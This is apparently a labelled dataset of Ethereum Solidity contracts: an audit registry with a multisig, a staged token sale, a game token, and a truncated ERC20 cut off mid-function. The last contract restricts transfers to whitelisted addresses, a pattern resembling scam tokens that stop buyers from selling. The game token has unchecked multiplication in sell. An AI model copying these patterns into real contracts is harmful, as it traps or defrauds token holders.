} | 1 | 3,856 |
pragma solidity ^0.4.24;
library DS {
struct Proof {
uint level;
uint insertedBlock;
bytes32 ipfsHash;
address auditedBy;
}
}
contract Audit {
event AttachedEvidence(address indexed auditorAddr, bytes32 indexed codeHash, bytes32 ipfsHash);
event NewAudit(address indexed auditorAddr, bytes32 indexed codeHash);
mapping (address => mapping (bytes32 => DS.Proof)) public auditedContracts;
mapping (address => bytes32[]) public auditorContracts;
function isVerifiedAddress(address _auditorAddr, address _contractAddr) public view returns(uint) {
bytes32 codeHash = keccak256(codeAt(_contractAddr));
return auditedContracts[_auditorAddr][codeHash].level;
}
function isVerifiedCode(address _auditorAddr, bytes32 _codeHash) public view returns(uint) {
return auditedContracts[_auditorAddr][_codeHash].level;
}
function addAudit(bytes32 _codeHash, uint _level, bytes32 _ipfsHash) public {
address auditor = msg.sender;
require(auditedContracts[auditor][_codeHash].insertedBlock == 0);
auditedContracts[auditor][_codeHash] = DS.Proof({
level: _level,
auditedBy: auditor,
insertedBlock: block.number,
ipfsHash: _ipfsHash
});
auditorContracts[auditor].push(_codeHash);
emit NewAudit(auditor, _codeHash);
}
function addEvidence(bytes32 _codeHash, uint _newLevel, bytes32 _ipfsHash) public {
address auditor = msg.sender;
require(auditedContracts[auditor][_codeHash].insertedBlock != 0);
if (auditedContracts[auditor][_codeHash].level != _newLevel)
auditedContracts[auditor][_codeHash].level = _newLevel;
emit AttachedEvidence(auditor, _codeHash, _ipfsHash);
}
function codeAt(address _addr) public view returns (bytes code) {
assembly {
let size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}
}
}
contract MonteLabsMS {
mapping (address => bool) public owners;
uint8 constant quorum = 2;
Audit public auditContract;
constructor(address[] _owners, Audit _auditContract) public {
auditContract = _auditContract;
require(_owners.length == 3);
for (uint i = 0; i < _owners.length; ++i) {
owners[_owners[i]] = true;
}
}
function addAuditOrEvidence(bool audit, bytes32 _codeHash, uint _level,
bytes32 _ipfsHash, uint8 _v, bytes32 _r,
bytes32 _s) internal {
address sender = msg.sender;
require(owners[sender]);
bytes32 prefixedHash = keccak256("\x19Ethereum Signed Message:\n32",
keccak256(audit, _codeHash, _level, _ipfsHash));
address other = ecrecover(prefixedHash, _v, _r, _s);
assert(other != sender);
if (audit)
auditContract.addAudit(_codeHash, _level, _ipfsHash);
else
auditContract.addEvidence(_codeHash, _level, _ipfsHash);
}
function addAudit(bytes32 _codeHash, uint _level, bytes32 _ipfsHash,
uint8 _v, bytes32 _r, bytes32 _s) public {
addAuditOrEvidence(true, _codeHash, _level, _ipfsHash, _v, _r, _s);
}
function addEvidence(bytes32 _codeHash, uint _version, bytes32 _ipfsHash,
uint8 _v, bytes32 _r, bytes32 _s) public {
addAuditOrEvidence(false, _codeHash, _version, _ipfsHash, _v, _r, _s);
}
} | 0 | 891 |
pragma solidity ^0.4.20;
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
function safeSub (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x >= y);
return x - y;
}
function safeMul (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
if (y == 0) return 0;
assert (x <= MAX_UINT256 / y);
return x * y;
}
}
contract Token {
function totalSupply () public view returns (uint256 supply);
function balanceOf (address _owner) public view returns (uint256 balance);
function transfer (address _to, uint256 _value)
public returns (bool success);
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success);
function approve (address _spender, uint256 _value)
public returns (bool success);
function allowance (address _owner, address _spender)
public view returns (uint256 remaining);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}
contract OrisSpace {
function start (uint256 _returnAmount) public;
}
contract OrgonToken is Token {
function createTokens (uint256 _value) public returns (bool);
function burnTokens (uint256 _value) public returns (bool);
}
contract JustPriceProtocol is SafeMath {
uint256 internal constant TWO_128 = 0x100000000000000000000000000000000;
uint256 internal constant SALE_START_TIME = 1524117600;
uint256 internal constant RESERVE_DEADLINE = 1531008000;
uint256 internal constant RESERVE_MAX_AMOUNT = 72500 ether;
uint256 internal constant RESERVE_MIN_AMOUNT = 30000 ether;
uint256 internal constant RESERVE_MAX_TOKENS = 82881476.72e9;
uint256 internal constant RESERVE_RATIO = 72500 ether / 725000000e9;
uint256 internal constant RESERVE_THRESHOLD_1 = 10000 ether;
uint256 internal constant RESERVE_PRICE_1 = 0.00080 ether / 1e9;
uint256 internal constant RESERVE_THRESHOLD_2 = 20000 ether;
uint256 internal constant RESERVE_PRICE_2 = 0.00082 ether / 1e9;
uint256 internal constant RESERVE_THRESHOLD_3 = 30000 ether;
uint256 internal constant RESERVE_PRICE_3 = 0.00085 ether / 1e9;
uint256 internal constant RESERVE_THRESHOLD_4 = 40000 ether;
uint256 internal constant RESERVE_PRICE_4 = 0.00088 ether / 1e9;
uint256 internal constant RESERVE_THRESHOLD_5 = 50000 ether;
uint256 internal constant RESERVE_PRICE_5 = 0.00090 ether / 1e9;
uint256 internal constant RESERVE_THRESHOLD_6 = 60000 ether;
uint256 internal constant RESERVE_PRICE_6 = 0.00092 ether / 1e9;
uint256 internal constant RESERVE_THRESHOLD_7 = 70000 ether;
uint256 internal constant RESERVE_PRICE_7 = 0.00095 ether / 1e9;
uint256 internal constant RESERVE_THRESHOLD_8 = 72500 ether;
uint256 internal constant RESERVE_PRICE_8 = 0.00098 ether / 1e9;
uint256 internal constant GROWTH_MAX_TOKENS = 1000000000e9;
uint256 internal constant GROWTH_MAX_DURATION = 285 days;
uint256 internal constant GROWTH_MIN_DELIVERED_NUMERATOR = 75;
uint256 internal constant GROWTH_MIN_DELIVERED_DENOMINATIOR = 100;
uint256 internal constant REQUIRED_VOTES_NUMERATIOR = 51;
uint256 internal constant REQUIRED_VOTES_DENOMINATOR = 100;
uint256 internal constant FEE_DENOMINATOR = 20000;
uint256 internal constant FEE_CHANGE_DELAY = 650 days;
uint256 internal constant MIN_FEE = 1;
uint256 internal constant MAX_FEE = 2000;
function JustPriceProtocol (
OrgonToken _orgonToken, OrisSpace _orisSpace, address _k1)
public {
orgonToken = _orgonToken;
orisSpace = _orisSpace;
k1 = _k1;
}
function () public payable {
require (msg.data.length == 0);
buyTokens ();
}
function buyTokens () public payable {
require (msg.value > 0);
updateStage ();
if (stage == Stage.RESERVE)
buyTokensReserve ();
else if (stage == Stage.GROWTH || stage == Stage.LIFE)
buyTokensGrowthLife ();
else revert ();
}
function sellTokens (uint256 _value) public {
require (_value > 0);
require (_value < TWO_128);
updateStage ();
require (stage == Stage.LIFE);
assert (reserveAmount < TWO_128);
uint256 totalSupply = orgonToken.totalSupply ();
require (totalSupply < TWO_128);
require (_value <= totalSupply);
uint256 toPay = safeMul (
reserveAmount,
safeSub (
TWO_128,
pow_10 (safeSub (TWO_128, (_value << 128) / totalSupply)))) >> 128;
require (orgonToken.transferFrom (msg.sender, this, _value));
require (orgonToken.burnTokens (_value));
reserveAmount = safeSub (reserveAmount, toPay);
msg.sender.transfer (toPay);
}
function deliver (address [] _investors) public {
updateStage ();
require (
stage == Stage.BEFORE_GROWTH ||
stage == Stage.GROWTH ||
stage == Stage.LIFE);
for (uint256 i = 0; i < _investors.length; i++) {
address investorAddress = _investors [i];
Investor storage investor = investors [investorAddress];
uint256 toDeliver = investor.tokensBought;
investor.tokensBought = 0;
investor.etherInvested = 0;
if (toDeliver > 0) {
require (orgonToken.transfer (investorAddress, toDeliver));
reserveTokensDelivered = safeAdd (reserveTokensDelivered, toDeliver);
Delivery (investorAddress, toDeliver);
}
}
if (stage == Stage.BEFORE_GROWTH &&
safeMul (reserveTokensDelivered, GROWTH_MIN_DELIVERED_DENOMINATIOR) >=
safeMul (reserveTokensSold, GROWTH_MIN_DELIVERED_NUMERATOR)) {
stage = Stage.GROWTH;
growthDeadline = currentTime () + GROWTH_MAX_DURATION;
feeChangeEnableTime = currentTime () + FEE_CHANGE_DELAY;
}
}
function refund (address [] _investors) public {
updateStage ();
require (stage == Stage.REFUND);
for (uint256 i = 0; i < _investors.length; i++) {
address investorAddress = _investors [i];
Investor storage investor = investors [investorAddress];
uint256 toBurn = investor.tokensBought;
uint256 toRefund = investor.etherInvested;
investor.tokensBought = 0;
investor.etherInvested = 0;
if (toBurn > 0)
require (orgonToken.burnTokens (toBurn));
if (toRefund > 0) {
investorAddress.transfer (toRefund);
Refund (investorAddress, toRefund);
}
}
}
function vote (address _newK1) public {
updateStage ();
require (stage == Stage.LIFE);
require (!k1Changed);
uint256 votesCount = voteNumbers [msg.sender];
if (votesCount > 0) {
address oldK1 = votes [msg.sender];
if (_newK1 != oldK1) {
if (oldK1 != address (0)) {
voteResults [oldK1] = safeSub (voteResults [oldK1], votesCount);
VoteRevocation (msg.sender, oldK1, votesCount);
}
votes [msg.sender] = _newK1;
if (_newK1 != address (0)) {
voteResults [_newK1] = safeAdd (voteResults [_newK1], votesCount);
Vote (msg.sender, _newK1, votesCount);
if (safeMul (voteResults [_newK1], REQUIRED_VOTES_DENOMINATOR) >=
safeMul (totalVotesNumber, REQUIRED_VOTES_NUMERATIOR)) {
k1 = _newK1;
k1Changed = true;
K1Change (_newK1);
}
}
}
}
}
function setFee (uint256 _fee) public {
require (msg.sender == k1);
require (_fee >= MIN_FEE);
require (_fee <= MAX_FEE);
updateStage ();
require (stage == Stage.GROWTH || stage == Stage.LIFE);
require (currentTime () >= feeChangeEnableTime);
require (safeSub (_fee, 1) <= fee);
require (safeAdd (_fee, 1) >= fee);
if (fee != _fee) {
fee = _fee;
FeeChange (_fee);
}
}
function outstandingTokens (address _investor) public view returns (uint256) {
return investors [_investor].tokensBought;
}
function getStage (uint256 _currentTime) public view returns (Stage) {
Stage currentStage = stage;
if (currentStage == Stage.BEFORE_RESERVE) {
if (_currentTime >= SALE_START_TIME)
currentStage = Stage.RESERVE;
else return currentStage;
}
if (currentStage == Stage.RESERVE) {
if (_currentTime >= RESERVE_DEADLINE) {
if (reserveAmount >= RESERVE_MIN_AMOUNT)
currentStage = Stage.BEFORE_GROWTH;
else currentStage = Stage.REFUND;
}
return currentStage;
}
if (currentStage == Stage.GROWTH) {
if (_currentTime >= growthDeadline) {
currentStage = Stage.LIFE;
}
}
return currentStage;
}
function totalEligibleVotes () public view returns (uint256) {
return totalVotesNumber;
}
function eligibleVotes (address _investor) public view returns (uint256) {
return voteNumbers [_investor];
}
function votesFor (address _newK1) public view returns (uint256) {
return voteResults [_newK1];
}
function buyTokensReserve () internal {
require (stage == Stage.RESERVE);
uint256 toBuy = 0;
uint256 toRefund = msg.value;
uint256 etherInvested = 0;
uint256 tokens;
uint256 tokensValue;
if (reserveAmount < RESERVE_THRESHOLD_1) {
tokens = min (
toRefund,
safeSub (RESERVE_THRESHOLD_1, reserveAmount)) /
RESERVE_PRICE_1;
if (tokens > 0) {
tokensValue = safeMul (tokens, RESERVE_PRICE_1);
toBuy = safeAdd (toBuy, tokens);
toRefund = safeSub (toRefund, tokensValue);
etherInvested = safeAdd (etherInvested, tokensValue);
reserveAmount = safeAdd (reserveAmount, tokensValue);
}
}
if (reserveAmount < RESERVE_THRESHOLD_2) {
tokens = min (
toRefund,
safeSub (RESERVE_THRESHOLD_2, reserveAmount)) /
RESERVE_PRICE_2;
if (tokens > 0) {
tokensValue = safeMul (tokens, RESERVE_PRICE_2);
toBuy = safeAdd (toBuy, tokens);
toRefund = safeSub (toRefund, tokensValue);
etherInvested = safeAdd (etherInvested, tokensValue);
reserveAmount = safeAdd (reserveAmount, tokensValue);
}
}
if (reserveAmount < RESERVE_THRESHOLD_3) {
tokens = min (
toRefund,
safeSub (RESERVE_THRESHOLD_3, reserveAmount)) /
RESERVE_PRICE_3;
if (tokens > 0) {
tokensValue = safeMul (tokens, RESERVE_PRICE_3);
toBuy = safeAdd (toBuy, tokens);
toRefund = safeSub (toRefund, tokensValue);
etherInvested = safeAdd (etherInvested, tokensValue);
reserveAmount = safeAdd (reserveAmount, tokensValue);
}
}
if (reserveAmount < RESERVE_THRESHOLD_4) {
tokens = min (
toRefund,
safeSub (RESERVE_THRESHOLD_4, reserveAmount)) /
RESERVE_PRICE_4;
if (tokens > 0) {
tokensValue = safeMul (tokens, RESERVE_PRICE_4);
toBuy = safeAdd (toBuy, tokens);
toRefund = safeSub (toRefund, tokensValue);
etherInvested = safeAdd (etherInvested, tokensValue);
reserveAmount = safeAdd (reserveAmount, tokensValue);
}
}
if (reserveAmount < RESERVE_THRESHOLD_5) {
tokens = min (
toRefund,
safeSub (RESERVE_THRESHOLD_5, reserveAmount)) /
RESERVE_PRICE_5;
if (tokens > 0) {
tokensValue = safeMul (tokens, RESERVE_PRICE_5);
toBuy = safeAdd (toBuy, tokens);
toRefund = safeSub (toRefund, tokensValue);
etherInvested = safeAdd (etherInvested, tokensValue);
reserveAmount = safeAdd (reserveAmount, tokensValue);
}
}
if (reserveAmount < RESERVE_THRESHOLD_6) {
tokens = min (
toRefund,
safeSub (RESERVE_THRESHOLD_6, reserveAmount)) /
RESERVE_PRICE_6;
if (tokens > 0) {
tokensValue = safeMul (tokens, RESERVE_PRICE_6);
toBuy = safeAdd (toBuy, tokens);
toRefund = safeSub (toRefund, tokensValue);
etherInvested = safeAdd (etherInvested, tokensValue);
reserveAmount = safeAdd (reserveAmount, tokensValue);
}
}
if (reserveAmount < RESERVE_THRESHOLD_7) {
tokens = min (
toRefund,
safeSub (RESERVE_THRESHOLD_7, reserveAmount)) /
RESERVE_PRICE_7;
if (tokens > 0) {
tokensValue = safeMul (tokens, RESERVE_PRICE_7);
toBuy = safeAdd (toBuy, tokens);
toRefund = safeSub (toRefund, tokensValue);
etherInvested = safeAdd (etherInvested, tokensValue);
reserveAmount = safeAdd (reserveAmount, tokensValue);
}
}
if (reserveAmount < RESERVE_THRESHOLD_8) {
tokens = min (
toRefund,
safeSub (RESERVE_THRESHOLD_8, reserveAmount)) /
RESERVE_PRICE_8;
if (tokens > 0) {
tokensValue = safeMul (tokens, RESERVE_PRICE_8);
toBuy = safeAdd (toBuy, tokens);
toRefund = safeSub (toRefund, tokensValue);
etherInvested = safeAdd (etherInvested, tokensValue);
reserveAmount = safeAdd (reserveAmount, tokensValue);
}
}
if (toBuy > 0) {
Investor storage investor = investors [msg.sender];
investor.tokensBought = safeAdd (
investor.tokensBought, toBuy);
investor.etherInvested = safeAdd (
investor.etherInvested, etherInvested);
reserveTokensSold = safeAdd (reserveTokensSold, toBuy);
require (orgonToken.createTokens (toBuy));
voteNumbers [msg.sender] = safeAdd (voteNumbers [msg.sender], toBuy);
totalVotesNumber = safeAdd (totalVotesNumber, toBuy);
Investment (msg.sender, etherInvested, toBuy);
if (safeSub (RESERVE_THRESHOLD_8, reserveAmount) <
RESERVE_PRICE_8) {
orisSpace.start (0);
stage = Stage.BEFORE_GROWTH;
}
}
if (toRefund > 0)
msg.sender.transfer (toRefund);
}
function buyTokensGrowthLife () internal {
require (stage == Stage.GROWTH || stage == Stage.LIFE);
require (msg.value < TWO_128);
uint256 totalSupply = orgonToken.totalSupply ();
assert (totalSupply < TWO_128);
uint256 toBuy = safeMul (
totalSupply,
safeSub (
root_10 (safeAdd (TWO_128, (msg.value << 128) / reserveAmount)),
TWO_128)) >> 128;
reserveAmount = safeAdd (reserveAmount, msg.value);
require (reserveAmount < TWO_128);
if (toBuy > 0) {
require (orgonToken.createTokens (toBuy));
require (orgonToken.totalSupply () < TWO_128);
uint256 feeAmount = safeMul (toBuy, fee) / FEE_DENOMINATOR;
require (orgonToken.transfer (msg.sender, safeSub (toBuy, feeAmount)));
if (feeAmount > 0)
require (orgonToken.transfer (k1, feeAmount));
if (stage == Stage.GROWTH) {
uint256 votesCount = toBuy;
totalSupply = orgonToken.totalSupply ();
if (totalSupply >= GROWTH_MAX_TOKENS) {
stage = Stage.LIFE;
votesCount = safeSub (
votesCount,
safeSub (totalSupply, GROWTH_MAX_TOKENS));
}
voteNumbers [msg.sender] =
safeAdd (voteNumbers [msg.sender], votesCount);
totalVotesNumber = safeAdd (totalVotesNumber, votesCount);
}
}
}
function updateStage () internal returns (Stage) {
Stage currentStage = getStage (currentTime ());
if (stage != currentStage) {
if (currentStage == Stage.BEFORE_GROWTH) {
uint256 tokensToBurn =
safeSub (
safeAdd (
safeAdd (
safeSub (RESERVE_MAX_AMOUNT, reserveAmount),
safeSub (RESERVE_RATIO, 1)) /
RESERVE_RATIO,
reserveTokensSold),
RESERVE_MAX_TOKENS);
orisSpace.start (tokensToBurn);
if (tokensToBurn > 0)
require (orgonToken.burnTokens (tokensToBurn));
}
stage = currentStage;
}
}
function min (uint256 x, uint256 y) internal pure returns (uint256) {
return x < y ? x : y;
}
function root_10 (uint256 x) internal pure returns (uint256 y) {
uint256 shift = 0;
while (x > TWO_128) {
x >>= 10;
shift += 1;
}
if (x == TWO_128 || x == 0) y = x;
else {
uint256 x128 = x << 128;
y = TWO_128;
uint256 t = x;
while (true) {
t <<= 10;
if (t < TWO_128) y >>= 1;
else break;
}
for (uint256 i = 0; i < 16; i++) {
uint256 y9;
if (y == TWO_128) y9 = y;
else {
uint256 y2 = (y * y) >> 128;
uint256 y4 = (y2 * y2) >> 128;
uint256 y8 = (y4 * y4) >> 128;
y9 = (y * y8) >> 128;
}
y = (9 * y + x128 / y9) / 10;
assert (y <= TWO_128);
}
}
y <<= shift;
}
function pow_10 (uint256 x) internal pure returns (uint256) {
require (x <= TWO_128);
if (x == TWO_128) return x;
else {
uint256 x2 = (x * x) >> 128;
uint256 x4 = (x2 * x2) >> 128;
uint256 x8 = (x4 * x4) >> 128;
return (x2 * x8) >> 128;
}
}
function currentTime () internal view returns (uint256) {
return block.timestamp;
}
enum Stage {
BEFORE_RESERVE,
RESERVE,
BEFORE_GROWTH,
GROWTH,
LIFE,
REFUND
}
OrgonToken internal orgonToken;
OrisSpace internal orisSpace;
address internal k1;
Stage internal stage = Stage.BEFORE_RESERVE;
uint256 internal reserveAmount;
uint256 internal reserveTokensSold;
uint256 internal reserveTokensDelivered;
uint256 internal growthDeadline;
mapping (address => Investor) internal investors;
mapping (address => uint256) internal voteNumbers;
mapping (address => address) internal votes;
mapping (address => uint256) internal voteResults;
uint256 internal totalVotesNumber;
bool internal k1Changed = false;
uint256 internal fee = 2;
uint256 internal feeChangeEnableTime;
struct Investor {
uint256 tokensBought;
uint256 etherInvested;
}
event Investment (address indexed investor, uint256 value, uint256 amount);
event Delivery (address indexed investor, uint256 amount);
event Refund (address indexed investor, uint256 value);
event K1Change (address k1);
event Vote (address indexed investor, address indexed newK1, uint256 votes);
event VoteRevocation (
address indexed investor, address indexed newK1, uint256 votes);
event FeeChange (uint256 fee);
} | 1 | 2,793 |
pragma solidity ^0.4.19;
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = true;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract TokenERC20 {
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract PaymentInterface {
function buyBlueStarEgg(address _master, uint _tokens, uint16 _amount) public returns(uint);
}
contract DragonTreasureToken is BasicAccessControl, TokenERC20 {
string public constant name = "DragonTreasureToken";
string public constant symbol = "DTT";
uint256 public constant decimals = 8;
string public version = "1.0";
address public inGameRewardAddress;
address public userGrowPoolAddress;
address public developerAddress;
address public paymentContract;
uint256 public sellPrice;
uint256 public buyPrice;
bool public trading = false;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
modifier isTrading {
require(trading == true || msg.sender == owner);
_;
}
modifier requirePaymentContract {
require(paymentContract != address(0));
_;
}
function () payable public {}
function DragonTreasureToken(address _inGameRewardAddress, address _userGrowPoolAddress, address _developerAddress) public {
require(_inGameRewardAddress != address(0));
require(_userGrowPoolAddress != address(0));
require(_developerAddress != address(0));
inGameRewardAddress = _inGameRewardAddress;
userGrowPoolAddress = _userGrowPoolAddress;
developerAddress = _developerAddress;
balanceOf[inGameRewardAddress] = 14000000 * 10**uint(decimals);
balanceOf[userGrowPoolAddress] = 5000000 * 10**uint(decimals);
balanceOf[developerAddress] = 1000000 * 10**uint(decimals);
totalSupply = balanceOf[inGameRewardAddress] + balanceOf[userGrowPoolAddress] + balanceOf[developerAddress];
}
function setAddress(address _inGameRewardAddress, address _userGrowPoolAddress, address _developerAddress, address _paymentContract) onlyModerators external {
inGameRewardAddress = _inGameRewardAddress;
userGrowPoolAddress = _userGrowPoolAddress;
developerAddress = _developerAddress;
paymentContract = _paymentContract;
}
function withdrawEther(address _sendTo, uint _amount) onlyModerators external {
if (_amount > this.balance) {
revert();
}
_sendTo.transfer(_amount);
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function freezeAccount(address _target, bool _freeze) onlyOwner public {
frozenAccount[_target] = _freeze;
FrozenFunds(_target, _freeze);
}
function buy() payable isTrading public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) isTrading public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function buyBlueStarEgg(uint _tokens, uint16 _amount) isActive requirePaymentContract external {
if (_tokens > balanceOf[msg.sender])
revert();
PaymentInterface payment = PaymentInterface(paymentContract);
uint deductedTokens = payment.buyBlueStarEgg(msg.sender, _tokens, _amount);
if (deductedTokens == 0 || deductedTokens > _tokens)
revert();
_transfer(msg.sender, inGameRewardAddress, deductedTokens);
}
} | 1 | 4,676 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
